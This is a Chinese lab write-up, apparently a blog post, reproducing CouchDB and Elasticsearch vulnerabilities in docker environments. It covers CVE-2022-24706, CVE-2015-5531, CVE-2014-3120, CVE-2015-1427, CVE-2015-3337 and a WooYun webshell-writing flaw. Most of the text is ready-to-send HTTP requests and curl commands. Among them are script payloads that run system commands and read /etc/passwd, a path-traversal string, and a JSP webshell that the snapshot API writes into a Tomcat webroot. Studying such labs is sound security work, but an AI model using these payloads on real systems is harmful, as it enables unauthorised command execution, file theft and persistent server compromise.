服务攻防-数据库-cve复现

CVE-2022-24706 Apache CouchDB 远程命令执行漏洞

漏洞简介

在`v3.2.2`版本之前的`Apache CouchDB`中,可以在不进行身份验证的情况下访问不正确的默认安装并获得管理员权限,进而实现RCE ,漏洞编号CVE-2022-24706。除了需要满足版本需求外,漏洞触发还需有以下条件:

`4369` `epmd` 端口暴露至公网;

`Erlang`使用默认`Cookie` 值( `monster` );

目标主机防火墙未设置拦截访问任意端口。

利用者只需要完成以下操作:

使用`epmd`协议,与`epmd`程序进行交互查询其中的`erl`节点;

直接与`CouchDB`中的`erl`节点进行通信,接收节点发送来的`Challenge`;

向`CouchDB` `erl`节点发送根据`Challenge`计算的`hash`值;

`CouchDB` `erl`节点比对`hash`值相同后回复`Challenge ACK` 。

之后利用者可执行任意指令。

python3 exp.py 192.168.83.156 4369

CVE-2015-5531 Elasticsearch 目录遍历漏洞

运行此靶场

sudo docker-compose up -d

查看启动环境

sudo docker ps

先说说elasticsearch 的备份与快照功能

漏洞利用需要涉及到elasticsearch的备份功能,elasticsearch 提供了一套强大的API,使得elasticsearch备份非常简单

要实现备份功能。前提是elasticsearch 进程对备份目录有写入权限,一般来说我们可以利用/tmp 或者elasticsearch 自身的安装目录,默认情况下这两个目录elasticsearch 进程都是有写入权限的

漏洞描述

elasticsearch 1.5.1及以前,无需任何配置即可触发该漏洞。之后的新版,配置文件elasticsearch.yml中必须存在path.repo,该配置值为一个目录,且该目录必须可写,等于限制了备份仓库的根位置。不配置该值,默认不启动这个功能。

影响范围

1.6.1以下

访问网页

脚本攻击

Python2 cve-2015-5331.py 192.168.83.136 /etc/passwd

CVE-2014-3120 ElasticSearch 命令执行漏洞

漏洞简介

ElasticSearch是一个基于Lucene构建的开源,分布式,RESTful搜索引擎。设计用于云计算中,能够达到实时搜索,稳定,可靠,快速,安装使用方便。支持通过HTTP使用JSON进行数据索引。

ElasticSearch有脚本执行的功能,使用的引擎为MVEL,该引擎没有做任何的防护,或者沙盒包装,所以可以直接执行任意代码。

由于在ElasticSearch的默认配置下,动态脚本执行功能处于打开状态,导致用户可以构造恶意的请求包,执行任意代码。

漏洞复现

通过_search方法的参数传入恶意代码,远程执行任意MVEL表达式和Java代码(如下图所示,ElasticSearch版本为1.1.1)

运行此靶场

sudo docker-compose up -d

查看启动环境

sudo docker ps

访问页面

对其抓包进行post并创建一条数据

POST /website/blog/  HTTP/1.1

Host: 192.168.83.136:9200

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate

Connection: close

Upgrade-Insecure-Requests: 1

Cache-Control: max-age=0

Content-Length: 30

{

  "name": "guiltyfet"

}

修改host即可

Rce执行成功了

GET /_search?pretty HTTP/1.1

Host: 192.168.83.136:9200

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:126.0) Gecko/20100101 Firefox/126.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate

Connection: close

Cookie: wp-settings-time-1=1713962065; csrftoken=knyTtnkWTvKWNFQH9Oyqvlxd5jnYqPRBfs8C4pOUDEyP6hqrYYzj7gzInSNIklET; sessionid=gbxdfwfon1c5ra1i1hdlj7v91d1ez6ej

Upgrade-Insecure-Requests: 1

Priority: u=1

Content-Length: 368



{

    "size": 1,

    "query": {

      "filtered": {

        "query": {

          "match_all": {

          }

        }

      }

    },

    "script_fields": {

        "command": {

            "script": "import java.io.*;new java.util.Scanner(Runtime.getRuntime().exec(\"id\").getInputStream()).useDelimiter(\"\\\\A\").next();"

        }

    }

}

    }

}

读取任意文件
GET /_search?pretty HTTP/1.1
Host: 192.168.83.136:9200
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:126.0) Gecko/20100101 Firefox/126.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: wp-settings-time-1=1713962065; csrftoken=knyTtnkWTvKWNFQH9Oyqvlxd5jnYqPRBfs8C4pOUDEyP6hqrYYzj7gzInSNIklET; sessionid=gbxdfwfon1c5ra1i1hdlj7v91d1ez6ej
Upgrade-Insecure-Requests: 1
Priority: u=1
Content-Length: 347

{

    "size": 1,
    "query": {
      "filtered": {
        "query": {
          "match_all": {
          }
        }
      }
    },

    "script_fields": {
        "command": {
            "script": "import java.io.*;new java.util.Scanner(new File(\"/etc/passwd\")).useDelimiter(\"\\\\A\").next();"
        }
    }
}
    }
}

[ElasticSearch]CVE-2015-1427

运行此靶场

sudo docker-compose up -d

查看启动环境

sudo docker ps

抓包增加一个数据访问

POST /website/blog/  HTTP/1.1

Host: 192.168.83.136:9200

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate

Connection: close

Upgrade-Insecure-Requests: 1

Cache-Control: max-age=0

Content-Length: 30

{

  "name": "guiltyfet"

}

构造payload

GET /_search?pretty HTTP/1.1

Host: 192.168.83.136:9200

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:126.0) Gecko/20100101 Firefox/126.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate

Connection: close

Cookie: wp-settings-time-1=1713962065; csrftoken=knyTtnkWTvKWNFQH9Oyqvlxd5jnYqPRBfs8C4pOUDEyP6hqrYYzj7gzInSNIklET; sessionid=gbxdfwfon1c5ra1i1hdlj7v91d1ez6ej

Upgrade-Insecure-Requests: 1

Priority: u=1

Content-Length: 158



{"size":1, "script_fields": {"lupin":{"lang":"groovy","script": "java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"id\").getText()"}}}

任意命令执行成功了

ElasticSearch 目录穿越漏洞(CVE-2015-3337)

运行此靶场

sudo docker-compose up -d

查看启动环境

sudo docker ps

漏洞描述:

Elasticsearch是荷兰Elasticsearch公司的一套基于全文搜索引擎Apache Lucene构建的开源分布式RESTful搜索引擎,它主要用于云计算中,并支持通过HTTP使用JSON进行数据索引

在安装了具有“site”功能的插件以后,插件目录使用…/即可向上跳转,导致目录穿越漏洞,可读取任意文件。没有安装任意插件的elasticsearch不受影响。

2.head插件提供了elasticsearch的前端页面,访问http://ip:9200/_plugin/head/ 即可看到

/_plugin/head/../../../../../../../../../etc/passwd

目录穿越读取铭感信息

WooYun-2015-110216 ElasticSearch写入webshell漏洞

运行此靶场

sudo docker-compose up -d

查看启动环境

sudo docker ps

简单介绍一下本测试环境。本测试环境同时运行了Tomcat和ElasticSearch,Tomcat目录在/usr/local/tomcat,web目录是/usr/local/tomcat/webapps;ElasticSearch目录在/usr/share/elasticsearch。

我们的目标就是利用ElasticSearch,在/usr/local/tomcat/webapps目录下写入我们的webshell。

1创建索引文件

POST /a.jsp/a.jsp/1 HTTP/1.1

Host: 192.168.83.136:9200

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate

Connection: close

Cookie: settingStore=1630480512401_0

Upgrade-Insecure-Requests: 1

Cache-Control: max-age=0

Content-Type: application/x-www-form-urlencoded

Content-Length: 230

{"<%new java.io.RandomAccessFile(application.getRealPath(new String(new byte[]{47,116,101,115,116,46,106,115,112})),new String(new byte[]{114,119})).write(request.getParameter(new String(new byte[]{102})).getBytes());%>":"test"}

再创建一个恶意的存储库,其中location的值即为要写入的路径(需要根据肉鸡的tomcat的www目录来决定)

curl -XPOST http://192.168.83.136:9200/yz.jsp/yz.jsp/1 -d'

{"<%new java.io.RandomAccessFile(application.getRealPath(new String(new byte[]{47,116,101,115,116,46,106,115,112})),new String(new byte[]{114,119})).write(request.getParameter(new String(new byte[]{102})).getBytes());%>":"test"}'

创建索引

curl -XPUT 'http://192.168.83.136:9200/_snapshot/yz.jsp' -d '{

     "type": "fs",

     "settings": {

          "location": "/usr/local/tomcat/webapps/wwwroot/",

          "compress": false

     }

}'

再创建一个恶意的存储库,其中location的值即为我要写入的路径。

curl -XPUT 'http://192.168.83.136:9200/_snapshot/yz.jsp' -d '{

     "type": "fs",

     "settings": {

          "location": "/usr/local/tomcat/webapps/wwwroot/",

          "compress": false

     }

}'

存储库验证并创建:

curl -XPUT "http://192.168.83.136:9200/_snapshot/yz.jsp/yz.jsp" -d '{

     "indices": "yz.jsp",

     "ignore_unavailable": "true",

     "include_global_state": false

}'

该shell的作用是向wwwroot下的test.jsp文件中写入任意字符串,如,

http://192.168.83.136:8080/wwwroot/indices/yz.jsp/snapshot-yz.jsp?f=wooYun-2015-110216

访问test.jsp

http://192.168.83.136:8080/wwwroot/test.jsp

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值